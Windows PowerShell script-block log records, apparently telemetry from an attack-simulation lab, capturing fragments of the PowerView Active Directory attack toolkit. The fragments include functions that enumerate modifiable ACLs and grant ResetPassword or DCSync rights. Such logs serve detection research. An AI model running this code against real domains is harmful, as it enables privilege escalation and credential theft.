$SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SiteSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SiteSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SiteSearcher = Get-DomainSearcher @SearcherArguments if (-not $SiteSearcher) { Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989506 Keywords=None Message=Creating Scriptblock text (26 of 61): ()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DomainName', 'Name')] [String] $Domain, [Switch] $ResolveGUIDs, [String] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ACLArguments = @{} if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } $ObjectSearcherArguments = @{ 'Properties' = 'samaccountname,objectclass' 'Raw' = $True } if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } # ongoing list of built-up SIDs $ResolvedSIDs = @{} } PROCESS { if ($PSBoundParameters['Domain']) { $ACLArguments['Domain'] = $Domain $ADNameArguments['Domain'] = $Domain } Get-DomainObjectAcl @ACLArguments | ForEach-Object { if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { # only process SIDs > 1000 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $IdentityReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropert ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989505 Keywords=None Message=Creating Scriptblock text (25 of 61): ER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Rights Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. Defaults to 'All'. .PARAMETER RightsGUID Manual GUID representing the right to add to the target. .EXAMPLE $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } AceQualifier : AccessAllowed ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] .LINK https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $TargetIdentity, [ValidateNotNullOrEmpty()] [String] $TargetDomain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $TargetLDAPFilter, [ValidateNotNullOrEmpty()] [String] $TargetSearchBase, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String[]] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] $Rights = 'All', [Guid] $RightsGUID ) BEGIN { $TargetSearcherArguments = @{ 'Properties' = 'distinguishedname' 'Raw' = $True } if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principals = Get-DomainObject @PrincipalSearcherArguments if (-not $Principals) { throw "Unable to resolve principal: $PrincipalIdentity" } } PROCESS { $TargetSearcherArguments['Identity'] = $TargetIdentity $Targets = Get-DomainObject @TargetSearcherArguments ForEach ($TargetObject in $Targets) { $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' $ACEs = @() if ($RightsGUID) { $GUIDs = @($RightsGUID) } else { $GUIDs = Switch ($Rights) { # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # remove all the specified ACEs from the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" } } } } } function Find-InterestingDomainAcl { <# .SYNOPSIS Finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects. Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName .DESCRIPTION This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, and for each returned ACE entry it checks if principal security identifier is *-1000 (meaning the account is not built in), and also checks if the rights for the ACE mean the object can be modified by the principal. If these conditions are met, then the security identifier SID is translated, the domain object is retrieved, and additional IdentityReference* information is appended to the output object. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-InterestingDomainAcl Finds interesting object ACLS in the current domain. .EXAMPLE Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs Finds interesting object ACLS in the ev.testlab.local domain and resolves rights GUIDs to display names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989504 Keywords=None Message=Creating Scriptblock text (24 of 61): RBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } AceQualifier : AccessAllowed ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 .EXAMPLE $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} [no results returned] $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword 